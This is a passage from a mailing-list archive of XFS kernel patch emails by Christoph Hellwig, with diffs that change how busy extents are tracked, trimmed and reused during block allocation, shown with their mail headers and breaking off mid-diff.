quilt/0.48-1 Date: Mon, 28 Mar 2011 17:06:14 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 0/5] improved busy extent handling Subject: [PATCH 0/5] improved busy extent handling X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301346555 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean This series optimizes how XFS deals with busy extents. It starts to track them exactly, and allows reuses where possible (metadata to metadata) or else tries to avoid busy extents during allocations. This means we don't have a single log force due to busy extents during either xfstests, compilebench or postmark on my testsystem, which can easily be tracked using the new tracepoints added in the last patch. This is a repost of the previous series and should address all review comments. The discard support, which relies on the exact busy extent tracking has been dropped temporarily until I can fix up some issues that I found during testing. From BATV+e602a4e13ccad4d1b2a8+2773+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 28 16:06:06 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-4.4 required=5.0 tests=BAYES_00,J_CHICKENPOX_43, J_CHICKENPOX_44,J_CHICKENPOX_45,J_CHICKENPOX_48,J_CHICKENPOX_64, LOCAL_GNU_PATCH autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SL650t185402 for ; Mon, 28 Mar 2011 16:06:06 -0500 X-ASG-Debug-ID: 1301346555-260000500000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id AD1D3383CEE for ; Mon, 28 Mar 2011 14:09:15 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id lm98MoKfufDLhQlU for ; Mon, 28 Mar 2011 14:09:15 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4JgZ-0001sm-80 for xfs@oss.sgi.com; Mon, 28 Mar 2011 21:09:15 +0000 Message-Id: <20110328210915.214513168@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Mon, 28 Mar 2011 17:06:18 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 4/5] xfs: allow reusing busy extents where safe Subject: [PATCH 4/5] xfs: allow reusing busy extents where safe References: <20110328210614.832613417@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-simplify-user-allocations X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301346555 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Allow reusing any busy extent for metadata allocations, and reusing busy userdata extents for userdata allocations. Most of the complexity is propagating the userdata information from the XFS_BMAPI_METADATA flag to xfs_bunmapi into the low-level extent freeing routines. After that we can just track what type of busy extent we have and treat it accordingly. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-28 16:09:32.000000000 +0200 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-28 16:14:49.253338527 +0200 @@ -1396,7 +1396,8 @@ xfs_alloc_ag_vextent_small( if (error) goto error0; if (fbno != NULLAGBLOCK) { - xfs_alloc_busy_reuse(args->tp, args->agno, fbno, 1); + xfs_alloc_busy_reuse(args->tp, args->agno, fbno, 1, + args->userdata); if (args->userdata) { xfs_buf_t *bp; @@ -2431,7 +2432,8 @@ int /* error */ xfs_free_extent( xfs_trans_t *tp, /* transaction pointer */ xfs_fsblock_t bno, /* starting block number of extent */ - xfs_extlen_t len) /* length of extent */ + xfs_extlen_t len, /* length of extent */ + bool userdata) { xfs_alloc_arg_t args; int error; @@ -2444,6 +2446,7 @@ xfs_free_extent( ASSERT(args.agno < args.mp->m_sb.sb_agcount); args.agbno = XFS_FSB_TO_AGBNO(args.mp, bno); args.pag = xfs_perag_get(args.mp, args.agno); + args.userdata = userdata; if ((error = xfs_alloc_fix_freelist(&args, XFS_ALLOC_FLAG_FREEING))) goto error0; #ifdef DEBUG @@ -2453,7 +2456,7 @@ xfs_free_extent( #endif error = xfs_free_ag_extent(tp, args.agbp, args.agno, args.agbno, len, 0); if (!error) - xfs_alloc_busy_insert(tp, args.agno, args.agbno, len); + xfs_alloc_busy_insert(tp, args.agno, args.agbno, len, userdata); error0: xfs_perag_put(args.pag); return error; @@ -2464,7 +2467,8 @@ xfs_alloc_busy_insert( struct xfs_trans *tp, xfs_agnumber_t agno, xfs_agblock_t bno, - xfs_extlen_t len) + xfs_extlen_t len, + bool userdata) { struct xfs_busy_extent *new; struct xfs_busy_extent *busyp; @@ -2487,6 +2491,7 @@ xfs_alloc_busy_insert( new->agno = agno; new->bno = bno; new->length = len; + new->flags = userdata ? XFS_ALLOC_BUSY_USERDATA : 0; INIT_LIST_HEAD(&new->list); /* trace before insert to be able to see failed inserts */ @@ -2569,6 +2574,12 @@ xfs_alloc_busy_search( return match; } +enum { + XFS_BUSY_REUSE_OK, + XFS_BUSY_LOG_FORCE, + XFS_BUSY_RESCAN, +}; + /* * The found free extent [fbno, fend] overlaps part or all of the given busy * extent. If the overlap covers the beginning, the end, or all of the busy @@ -2580,7 +2591,7 @@ xfs_alloc_busy_search( * The caller will force the log and re-check the busy list after returning * from this function. */ -STATIC void +STATIC int xfs_alloc_busy_update_extent( struct xfs_perag *pag, struct xfs_busy_extent *busyp, @@ -2608,6 +2619,7 @@ xfs_alloc_busy_update_extent( * Let the caller force out the log to clear the busy extents * and retry the search. */ + return XFS_BUSY_LOG_FORCE; } else if (bbno >= fbno && bend <= fend) { /* * Case 2: @@ -2645,6 +2657,7 @@ xfs_alloc_busy_update_extent( */ rb_erase(&busyp->rb_node, &pag->pagb_tree); busyp->length = 0; + return XFS_BUSY_RESCAN; } else if (bbno == fbno) { /* * Case 6: @@ -2680,6 +2693,8 @@ xfs_alloc_busy_update_extent( } else { ASSERT(0); } + + return XFS_BUSY_REUSE_OK; } @@ -2691,7 +2706,8 @@ xfs_alloc_busy_reuse( struct xfs_trans *tp, xfs_agnumber_t agno, xfs_agblock_t fbno, - xfs_extlen_t flen) + xfs_extlen_t flen, + bool userdata) { struct xfs_perag *pag; struct rb_node *rbp; @@ -2699,6 +2715,7 @@ xfs_alloc_busy_reuse( ASSERT(flen > 0); pag = xfs_perag_get(tp->t_mountp, agno); +restart: spin_lock(&pag->pagb_lock); rbp = pag->pagb_tree.rb_node; while (rbp) { @@ -2707,6 +2724,7 @@ xfs_alloc_busy_reuse( xfs_agblock_t fend = fbno + flen; xfs_agblock_t bbno = busyp->bno; xfs_agblock_t bend = bbno + busyp->length; + int ret; if (fend <= bbno) { rbp = rbp->rb_left; @@ -2716,10 +2734,21 @@ xfs_alloc_busy_reuse( continue; } - xfs_alloc_busy_update_extent(pag, busyp, fbno, fbno + flen); - - spin_unlock(&pag->pagb_lock); - xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); + ret = xfs_alloc_busy_update_extent(pag, busyp, + fbno, fbno + flen); + if (ret != XFS_BUSY_REUSE_OK || userdata) { + spin_unlock(&pag->pagb_lock); + if (ret == XFS_BUSY_LOG_FORCE) + xfs_log_force(tp->t_mountp, XFS_LOG_SYNC); + goto restart; + } +#if 0 + /* + * No more busy extents to search. + */ + if (bbno <= fbno && bend >= fend) + break; +#endif } spin_unlock(&pag->pagb_lock); xfs_perag_put(pag); @@ -2743,6 +2772,11 @@ xfs_alloc_busy_trim( ASSERT(flen > 0); + if (!args->userdata) { + xfs_alloc_busy_reuse(args->tp, args->agno, fbno, flen, false); + goto out; + } + spin_lock(&args->pag->pagb_lock); rbp = args->pag->pagb_tree.rb_node; while (rbp && flen >= args->minlen) { @@ -2883,7 +2917,7 @@ xfs_alloc_busy_trim( flen = fend - fbno; } spin_unlock(&args->pag->pagb_lock); - +out: *rbno = fbno; *rlen = flen; return; Index: xfs/fs/xfs/xfs_alloc.h =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.h 2011-03-28 16:06:23.000000000 +0200 +++ xfs/fs/xfs/xfs_alloc.h 2011-03-28 16:10:24.930841761 +0200 @@ -137,7 +137,7 @@ xfs_alloc_longest_free_extent(struct xfs #ifdef __KERNEL__ void xfs_alloc_busy_insert(struct xfs_trans *tp, xfs_agnumber_t agno, - xfs_agblock_t bno, xfs_extlen_t len); + xfs_agblock_t bno, xfs_extlen_t len, bool userdata); void xfs_alloc_busy_clear(struct xfs_mount *mp, struct xfs_busy_extent *busyp); @@ -148,7 +148,7 @@ xfs_alloc_busy_search(struct xfs_mount * void xfs_alloc_busy_reuse(struct xfs_trans *tp, xfs_agnumber_t agno, - xfs_agblock_t fbno, xfs_extlen_t flen); + xfs_agblock_t fbno, xfs_extlen_t flen, bool userdata); #endif /* __KERNEL__ */ /* @@ -224,7 +224,8 @@ int /* error */ xfs_free_extent( struct xfs_trans *tp, /* transaction pointer */ xfs_fsblock_t bno, /* starting block number of extent */ - xfs_extlen_t len); /* length of extent */ + xfs_extlen_t len, + bool userdata);/* length of extent */ int /* error */ xfs_alloc_lookup_le( Index: xfs/fs/xfs/xfs_alloc_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc_btree.c 2011-03-28 16:06:23.000000000 +0200 +++ xfs/fs/xfs/xfs_alloc_btree.c 2011-03-28 16:10:24.938837964 +0200 @@ -95,7 +95,7 @@ xfs_allocbt_alloc_block( return 0; } - xfs_alloc_busy_reuse(cur->bc_tp, cur->bc_private.a.agno, bno, 1); + xfs_alloc_busy_reuse(cur->bc_tp, cur->bc_private.a.agno, bno, 1, false); xfs_trans_agbtree_delta(cur->bc_tp, 1); new->s = cpu_to_be32(bno); @@ -120,18 +120,8 @@ xfs_allocbt_free_block( if (error) return error; - /* - * Since blocks move to the free list without the coordination used in - * xfs_bmap_finish, we can't allow block to be available for - * reallocation and non-transaction writing (user data) until we know - * that the transaction that moved it to the free list is permanently - * on disk. We track the blocks by declaring these blocks as "busy"; - * the busy list is maintained on a per-ag basis and each transaction - * records which entries should be removed when the iclog commits to - * disk. If a busy block is allocated, the iclog is pushed up to the - * LSN that freed the block. - */ - xfs_alloc_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, 1); + xfs_alloc_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, + 1, false); xfs_trans_agbtree_delta(cur->bc_tp, -1); return 0; } Index: xfs/fs/xfs/xfs_ag.h =================================================================== --- xfs.orig/fs/xfs/xfs_ag.h 2011-03-28 16:06:23.000000000 +0200 +++ xfs/fs/xfs/xfs_ag.h 2011-03-28 16:10:24.938837964 +0200 @@ -187,6 +187,8 @@ struct xfs_busy_extent { xfs_agnumber_t agno; xfs_agblock_t bno; xfs_extlen_t length; + unsigned int flags; +#define XFS_ALLOC_BUSY_USERDATA 0x01 /* freed data extents */ }; /* Index: xfs/fs/xfs/xfs_bmap.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap.c 2011-03-28 16:06:23.049342208 +0200 +++ xfs/fs/xfs/xfs_bmap.c 2011-03-28 16:10:24.942837745 +0200 @@ -180,22 +180,6 @@ xfs_bmap_btree_to_extents( int whichfork); /* data or attr fork */ /* - * Called by xfs_bmapi to update file extent records and the btree - * after removing space (or undoing a delayed allocation). - */ -STATIC int /* error */ -xfs_bmap_del_extent( - xfs_inode_t *ip, /* incore inode pointer */ - xfs_trans_t *tp, /* current trans pointer */ - xfs_extnum_t idx, /* extent number to update/insert */ - xfs_bmap_free_t *flist, /* list of extents to be freed */ - xfs_btree_cur_t *cur, /* if null, not a btree */ - xfs_bmbt_irec_t *new, /* new data to add to file extents */ - int *logflagsp,/* inode logging flags */ - int whichfork, /* data or attr fork */ - int rsvd); /* OK to allocate reserved blocks */ - -/* * Remove the entry "free" from the free item list. Prev points to the * previous entry, unless "free" is the head of the list. */ @@ -2811,7 +2795,7 @@ xfs_bmap_btree_to_extents( cblock = XFS_BUF_TO_BLOCK(cbp); if ((error = xfs_btree_check_block(cur, cblock, 0, cbp))) return error; - xfs_bmap_add_free(cbno, 1, cur->bc_private.b.flist, mp); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, cbno, 1, 0); ip->i_d.di_nblocks--; xfs_trans_mod_dquot_byino(tp, ip, XFS_TRANS_DQ_BCOUNT, -1L); xfs_trans_binval(tp, cbp); @@ -2838,8 +2822,7 @@ xfs_bmap_del_extent( xfs_btree_cur_t *cur, /* if null, not a btree */ xfs_bmbt_irec_t *del, /* data to remove from extents */ int *logflagsp, /* inode logging flags */ - int whichfork, /* data or attr fork */ - int rsvd) /* OK to allocate reserved blocks */ + int flags) /* XFS_BMAPI_* flags */ { xfs_filblks_t da_new; /* new delay-alloc indirect blocks */ xfs_filblks_t da_old; /* old delay-alloc indirect blocks */ @@ -2849,7 +2832,6 @@ xfs_bmap_del_extent( int do_fx; /* free extent at end of routine */ xfs_bmbt_rec_host_t *ep; /* current extent entry pointer */ int error; /* error return value */ - int flags; /* inode logging flags */ xfs_bmbt_irec_t got; /* current extent entry */ xfs_fileoff_t got_endoff; /* first offset past got */ int i; /* temp state */ @@ -2861,12 +2843,17 @@ xfs_bmap_del_extent( uint qfield; /* quota field to update */ xfs_filblks_t temp; /* for indirect length calculations */ xfs_filblks_t temp2; /* for indirect length calculations */ - int state = 0; + int state, whichfork; XFS_STATS_INC(xs_del_exlist); - if (whichfork == XFS_ATTR_FORK) - state |= BMAP_ATTRFORK; + if (flags & XFS_BMAPI_ATTRFORK) { + whichfork = XFS_ATTR_FORK; + state = BMAP_ATTRFORK; + } else { + whichfork = XFS_DATA_FORK; + state = 0; + } mp = ip->i_mount; ifp = XFS_IFORK_PTR(ip, whichfork); @@ -3121,9 +3108,13 @@ xfs_bmap_del_extent( /* * If we need to, add to list of extents to delete. */ - if (do_fx) - xfs_bmap_add_free(del->br_startblock, del->br_blockcount, flist, - mp); + if (do_fx) { + xfs_bmap_add_free(mp, flist, del->br_startblock, + del->br_blockcount, + (flags & XFS_BMAPI_METADATA) ? 0 : + XFS_BFI_USERDATA); + } + /* * Adjust inode # blocks in the file. */ @@ -3142,7 +3133,9 @@ xfs_bmap_del_extent( ASSERT(da_old >= da_new); if (da_old > da_new) { xfs_icsb_modify_counters(mp, XFS_SBS_FDBLOCKS, - (int64_t)(da_old - da_new), rsvd); + (int64_t)(da_old - da_new), + !!(flags & XFS_BMAPI_RSVBLOCKS)); + } done: *logflagsp = flags; @@ -3723,10 +3716,11 @@ error0: /* ARGSUSED */ void xfs_bmap_add_free( + struct xfs_mount *mp, /* mount point structure */ + struct xfs_bmap_free *flist, /* list of extents */ xfs_fsblock_t bno, /* fs block number of extent */ xfs_filblks_t len, /* length of extent */ - xfs_bmap_free_t *flist, /* list of extents */ - xfs_mount_t *mp) /* mount point structure */ + unsigned int flags) { xfs_bmap_free_item_t *cur; /* current (next) element */ xfs_bmap_free_item_t *new; /* new element */ @@ -3750,6 +3744,7 @@ xfs_bmap_add_free( new = kmem_zone_alloc(xfs_bmap_free_item_zone, KM_SLEEP); new->xbfi_startblock = bno; new->xbfi_blockcount = (xfs_extlen_t)len; + new->xbfi_flags = flags; for (prev = NULL, cur = flist->xbf_first; cur != NULL; prev = cur, cur = cur->xbfi_next) { @@ -3883,8 +3878,11 @@ xfs_bmap_finish( efd = xfs_trans_get_efd(ntp, efi, flist->xbf_count); for (free = flist->xbf_first; free != NULL; free = next) { next = free->xbfi_next; - if ((error = xfs_free_extent(ntp, free->xbfi_startblock, - free->xbfi_blockcount))) { + + error = xfs_free_extent(ntp, free->xbfi_startblock, + free->xbfi_blockcount, + !!(free->xbfi_flags & XFS_BFI_USERDATA)); + if (error) { /* * The bmap free list will be cleaned up at a * higher level. The EFI will be canceled when @@ -5278,7 +5276,7 @@ xfs_bunmapi( goto error0; } error = xfs_bmap_del_extent(ip, tp, lastx, flist, cur, &del, - &tmp_logflags, whichfork, rsvd); + &tmp_logflags, flags); logflags |= tmp_logflags; if (error) goto error0; Index: xfs/fs/xfs/xfs_bmap.h =================================================================== --- xfs.orig/fs/xfs/xfs_bmap.h 2011-03-28 16:06:23.000000000 +0200 +++ xfs/fs/xfs/xfs_bmap.h 2011-03-28 16:10:24.950887404 +0200 @@ -35,6 +35,8 @@ typedef struct xfs_bmap_free_item { xfs_fsblock_t xbfi_startblock;/* starting fs block number */ xfs_extlen_t xbfi_blockcount;/* number of blocks in extent */ + unsigned int xbfi_flags; +#define XFS_BFI_USERDATA 0x01 /* userdata extent */ struct xfs_bmap_free_item *xbfi_next; /* link to next entry */ } xfs_bmap_free_item_t; @@ -188,10 +190,11 @@ xfs_bmap_add_attrfork( */ void xfs_bmap_add_free( + struct xfs_mount *mp, /* mount point structure */ + struct xfs_bmap_free *flist, /* list of extents */ xfs_fsblock_t bno, /* fs block number of extent */ xfs_filblks_t len, /* length of extent */ - xfs_bmap_free_t *flist, /* list of extents */ - struct xfs_mount *mp); /* mount point structure */ + unsigned int flags); /* * Routine to clean up the free list data structure when Index: xfs/fs/xfs/xfs_bmap_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_bmap_btree.c 2011-03-28 16:06:23.000000000 +0200 +++ xfs/fs/xfs/xfs_bmap_btree.c 2011-03-28 16:10:24.950887404 +0200 @@ -598,7 +598,7 @@ xfs_bmbt_free_block( struct xfs_trans *tp = cur->bc_tp; xfs_fsblock_t fsbno = XFS_DADDR_TO_FSB(mp, XFS_BUF_ADDR(bp)); - xfs_bmap_add_free(fsbno, 1, cur->bc_private.b.flist, mp); + xfs_bmap_add_free(mp, cur->bc_private.b.flist, fsbno, 1, 0); ip->i_d.di_nblocks--; xfs_trans_log_inode(tp, ip, XFS_ILOG_CORE); Index: xfs/fs/xfs/xfs_fsops.c =================================================================== --- xfs.orig/fs/xfs/xfs_fsops.c 2011-03-28 16:06:23.000000000 +0200 +++ xfs/fs/xfs/xfs_fsops.c 2011-03-28 16:10:24.954839193 +0200 @@ -344,7 +344,7 @@ xfs_growfs_data_private( * Free the new space. */ error = xfs_free_extent(tp, XFS_AGB_TO_FSB(mp, agno, - be32_to_cpu(agf->agf_length) - new), new); + be32_to_cpu(agf->agf_length) - new), new, false); if (error) { goto error0; } Index: xfs/fs/xfs/xfs_ialloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_ialloc.c 2011-03-28 16:06:23.000000000 +0200 +++ xfs/fs/xfs/xfs_ialloc.c 2011-03-28 16:10:24.954839193 +0200 @@ -1154,9 +1154,10 @@ xfs_difree( goto error0; } - xfs_bmap_add_free(XFS_AGB_TO_FSB(mp, - agno, XFS_INO_TO_AGBNO(mp,rec.ir_startino)), - XFS_IALLOC_BLOCKS(mp), flist, mp); + xfs_bmap_add_free(mp, flist, + XFS_AGB_TO_FSB(mp, agno, + XFS_INO_TO_AGBNO(mp,rec.ir_startino)), + XFS_IALLOC_BLOCKS(mp), 0); } else { *delete = 0; Index: xfs/fs/xfs/xfs_ialloc_btree.c =================================================================== --- xfs.orig/fs/xfs/xfs_ialloc_btree.c 2011-03-28 16:06:23.000000000 +0200 +++ xfs/fs/xfs/xfs_ialloc_btree.c 2011-03-28 16:10:24.954839193 +0200 @@ -117,7 +117,7 @@ xfs_inobt_free_block( int error; fsbno = XFS_DADDR_TO_FSB(cur->bc_mp, XFS_BUF_ADDR(bp)); - error = xfs_free_extent(cur->bc_tp, fsbno, 1); + error = xfs_free_extent(cur->bc_tp, fsbno, 1, false); if (error) return error; Index: xfs/fs/xfs/xfs_log_recover.c =================================================================== --- xfs.orig/fs/xfs/xfs_log_recover.c 2011-03-28 16:06:23.000000000 +0200 +++ xfs/fs/xfs/xfs_log_recover.c 2011-03-28 16:10:24.958839336 +0200 @@ -2907,8 +2907,9 @@ xlog_recover_process_efi( efdp = xfs_trans_get_efd(tp, efip, efip->efi_format.efi_nextents); for (i = 0; i < efip->efi_format.efi_nextents; i++) { - extp = &(efip->efi_format.efi_extents[i]); - error = xfs_free_extent(tp, extp->ext_start, extp->ext_len); + extp = &efip->efi_format.efi_extents[i]; + error = xfs_free_extent(tp, extp->ext_start, extp->ext_len, + false); if (error) goto abort_error; xfs_trans_log_efd_extent(tp, efdp, extp->ext_start, From BATV+e602a4e13ccad4d1b2a8+2773+infradead.org+hch@bombadil.srs.infradead.org Mon Mar 28 16:06:07 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.4 required=5.0 tests=BAYES_00,J_CHICKENPOX_61, J_CHICKENPOX_64,J_CHICKENPOX_65,J_CHICKENPOX_66,J_CHICKENPOX_73 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2SL655x185396 for ; Mon, 28 Mar 2011 16:06:07 -0500 X-ASG-Debug-ID: 1301346555-2888003a0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4DC03383CEE for ; Mon, 28 Mar 2011 14:09:15 -0700 (PDT) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 9qcJAO2UZZR3xBaP for ; Mon, 28 Mar 2011 14:09:15 -0700 (PDT) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1Q4JgY-0001rk-Qt for xfs@oss.sgi.com; Mon, 28 Mar 2011 21:09:14 +0000 Message-Id: <20110328210914.791205854@bombadil.infradead.org> User-Agent: quilt/0.48-1 Date: Mon, 28 Mar 2011 17:06:16 -0400 From: Christoph Hellwig To: xfs@oss.sgi.com X-ASG-Orig-Subj: [PATCH 2/5] xfs: do not immediately reuse busy extent ranges Subject: [PATCH 2/5] xfs: do not immediately reuse busy extent ranges References: <20110328210614.832613417@bombadil.infradead.org> Content-Disposition: inline; filename=xfs-skip-busy-extents X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1301346555 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Every time we reallocate a busy extent, we cause a synchronous log force to occur to ensure the freeing transaction is on disk before we continue and use the newly allocated extent. This is extremely sub-optimal as we have to mark every transaction with blocks that get reused as synchronous. Instead of searching the busy extent list after deciding on the extent to allocate, check each candidate extent during the allocation decisions as to whether they are in the busy list. If they are in the busy list, we trim the busy range out of the extent we have found and determine if that trimmed range is still OK for allocation. In many cases, this check can be incorporated into the allocation extent alignment code which already does trimming of the found extent before determining if it is a valid candidate for allocation. Based on two earlier patches from Dave Chinner. Signed-off-by: Christoph Hellwig Index: xfs/fs/xfs/xfs_alloc.c =================================================================== --- xfs.orig/fs/xfs/xfs_alloc.c 2011-03-28 14:17:43.358838528 +0200 +++ xfs/fs/xfs/xfs_alloc.c 2011-03-28 16:02:05.469343820 +0200 @@ -41,19 +41,13 @@ #define XFSA_FIXUP_BNO_OK 1 #define XFSA_FIXUP_CNT_OK 2 -/* - * Prototypes for per-ag allocation routines - */ - STATIC int xfs_alloc_ag_vextent_exact(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_near(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_size(xfs_alloc_arg_t *); STATIC int xfs_alloc_ag_vextent_small(xfs_alloc_arg_t *, - xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); - -/* - * Internal functions. - */ + xfs_btree_cur_t *, xfs_agblock_t *, xfs_extlen_t *, int *); +STATIC void xfs_alloc_busy_trim(struct xfs_alloc_arg *, + xfs_agblock_t, xfs_extlen_t, xfs_agblock_t *, xfs_extlen_t *); /* * Lookup the record equal to [bno, len] in the btree given by cur. @@ -154,19 +148,21 @@ xfs_alloc_compute_aligned( xfs_extlen_t *reslen) /* result length */ { xfs_agblock_t bno; - xfs_extlen_t diff; xfs_extlen_t len; - if (args->alignment > 1 && foundlen >= args->minlen) { - bno = roundup(foundbno, args->alignment); - diff = bno - foundbno; - len = diff >= foundlen ? 0 : foundlen - diff; + /* Trim busy sections out of found extent */ + xfs_alloc_busy_trim(args, foundbno, foundlen, &bno, &len); + + if (args->alignment > 1 && len >= args->minlen) { + xfs_agblock_t aligned_bno = roundup(bno, args->alignment); + xfs_extlen_t diff = aligned_bno - bno; + + *resbno = aligned_bno; + *reslen = diff >= len ? 0 : len - diff; } else { - bno = foundbno; - len = foundlen; + *resbno = bno; + *reslen = len; } - *resbno = bno; - *reslen = len; } /* @@ -541,16 +537,8 @@ xfs_alloc_ag_vextent( if (error) return error; - /* - * Search the busylist for these blocks and mark the - * transaction as synchronous if blocks are found. This - * avoids the need to block due to a synchronous log - * force to ensure correct ordering as the synchronous - * transaction will guarantee that for us. - */ - if (xfs_alloc_busy_search(args->mp, args->agno, - args->agbno, args->len)) - xfs_trans_set_sync(args->tp); + ASSERT(!xfs_alloc_busy_search(args->mp, args->agno, + args->agbno, args->len)); } if (!args->isfl) { @@ -577,14 +565,14 @@ xfs_alloc_ag_vextent_exact( { xfs_btree_cur_t *bno_cur;/* by block-number btree cursor */ xfs_btree_cur_t *cnt_cur;/* by count btree cursor */ - xfs_agblock_t end; /* end of allocated extent */ int error; xfs_agblock_t fbno; /* start block of found extent */ - xfs_agblock_t fend; /* end block of found extent */ xfs_extlen_t flen; /* length of found extent */ + xfs_agblock_t tbno; /* start block of trimmed extent */ + xfs_extlen_t tlen; /* length of trimmed extent */ + xfs_agblock_t tend; /* end block of trimmed extent */ + xfs_agblock_t end; /* end of allocated extent */ int i; /* success/failure of operation */ - xfs_agblock_t maxend; /* end of maximal extent */ - xfs_agblock_t minend; /* end of minimal extent */ xfs_extlen_t rlen; /* length of returned extent */ ASSERT(args->alignment == 1); @@ -614,14 +602,22 @@ xfs_alloc_ag_vextent_exact( goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); ASSERT(fbno <= args->agbno); - minend = args->agbno + args->minlen; - maxend = args->agbno + args->maxlen; - fend = fbno + flen; /* - * Give up if the freespace isn't long enough for the minimum request. + * Check for overlapping busy extents. + */ + xfs_alloc_busy_trim(args, fbno, flen, &tbno, &tlen); + + /* + * Give up if the start of the extent is busy, or the freespace isn't + * long enough for the minimum request. */ - if (fend < minend) + if (tbno > args->agbno) + goto not_found; + if (tlen < args->minlen) + goto not_found; + tend = tbno + tlen; + if (tend < args->agbno + args->minlen) goto not_found; /* @@ -630,14 +626,14 @@ xfs_alloc_ag_vextent_exact( * * Fix the length according to mod and prod if given. */ - end = XFS_AGBLOCK_MIN(fend, maxend); + end = XFS_AGBLOCK_MIN(tend, args->agbno + args->maxlen); args->len = end - args->agbno; xfs_alloc_fix_len(args); if (!xfs_alloc_fix_minleft(args)) goto not_found; rlen = args->len; - ASSERT(args->agbno + rlen <= fend); + ASSERT(args->agbno + rlen <= tend); end = args->agbno + rlen; /* @@ -686,11 +682,11 @@ xfs_alloc_find_best_extent( struct xfs_btree_cur **scur, /* searching cursor */ xfs_agblock_t gdiff, /* difference for search comparison */ xfs_agblock_t *sbno, /* extent found by search */ - xfs_extlen_t *slen, - xfs_extlen_t *slena, /* aligned length */ + xfs_extlen_t *slen, /* extent length */ + xfs_agblock_t *sbnoa, /* aligned extent found by search */ + xfs_extlen_t *slena, /* aligned extent length */ int dir) /* 0 = search right, 1 = search left */ { - xfs_agblock_t bno; xfs_agblock_t new; xfs_agblock_t sdiff; int error; @@ -708,16 +704,16 @@ xfs_alloc_find_best_extent( if (error) goto error0; XFS_WANT_CORRUPTED_GOTO(i == 1, error0); - xfs_alloc_compute_aligned(args, *sbno, *slen, &bno, slena); + xfs_alloc_compute_aligned(args, *sbno, *slen, sbnoa, slena); /* * The good extent is closer than this one. */ if (!dir) { - if (bno >= args->agbno + gdiff) + if (*sbnoa >= args->agbno + gdiff) goto out_use_good; } else { - if (bno <= args->agbno - gdiff) + if (*sbnoa <= args->agbno - gdiff) goto out_use_good; } @@ -729,8 +725,8 @@ xfs_alloc_find_best_extent( xfs_alloc_fix_len(args); sdiff = xfs_alloc_compute_diff(args->agbno, args->len, - args->alignment, *sbno, - *slen, &new); + args->alignment, *sbnoa, + *slena, &new); /* * Choose closer size and invalidate other cursor. @@ -780,7 +776,7 @@ xfs_alloc_ag_vextent_near( xfs_agblock_t gtbnoa; /* aligned ... */ xfs_extlen_t gtdiff; /* difference to right side entry */ xfs_extlen_t gtlen; /* length of right side entry */ - xfs_extlen_t gtlena = 0; /* aligned ... */ + xfs_extlen_t gtlena; /* aligned ... */ xfs_agblock_t gtnew; /* useful start bno of right side */ int error; /* error code */ int i; /* result code, temporary */ @@ -789,9 +785,10 